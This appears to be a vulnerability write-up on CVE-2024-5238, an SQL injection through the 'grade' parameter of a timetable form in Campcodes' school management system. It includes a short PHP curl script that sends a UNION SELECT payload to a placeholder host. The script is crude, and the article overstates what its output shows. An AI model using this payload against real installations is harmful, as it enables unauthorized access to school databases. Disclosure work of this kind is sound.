A critical vulnerability (CVE-2024-5238) has been identified in Campcodes Complete Web-Based School Management System 1., a popular platform used by educational institutions for student and class management. The vulnerability lies within an unknown part of the file /view/timetable_insert_form.php, and its manipulation can lead to SQL injection. This vulnerability has been assigned the identifier VDB-265989 and has been publicly disclosed, making it usable for potential attackers. This article will discuss the vulnerability, provide code snippets demonstrating the exploit, and offer links to further resources.

Description of the Vulnerability

The vulnerability is found in the manipulation of the "grade" argument in /view/timetable_insert_form.php, leading to SQL injection. An SQL injection allows an attacker to inject malicious code into the backend SQL database used by the School Management System, potentially giving the attacker unauthorized access to sensitive information or even control over the system.

Remote Exploit

Since the vulnerability lies within a web-based component of the School Management System, it is possible to exploit it remotely. Attackers can target the vulnerable PHP file by sending specially crafted HTTP requests containing malicious SQL code. Successful exploitation can lead to the disclosure of sensitive information, manipulation of the database, or even a complete compromise of the system.

Code Snippet

The following code snippet demonstrates how an attacker might exploit the vulnerability by providing a malicious "grade" argument:

<?php
    $url = "http://example.com/view/timetable_insert_form.php?grade=";;
    $injection = "UNION SELECT 1, 2, 3, 4, 5--";
    $exploit_url = $url . $injection;
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $exploit_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    curl_close($ch);
    
    echo $output;
?>

The above PHP script sends an HTTP request to the targeted School Management System, with a malicious "grade" argument designed to trigger the SQL injection. If successful, the response from the system should contain sensitive information extracted from the database.
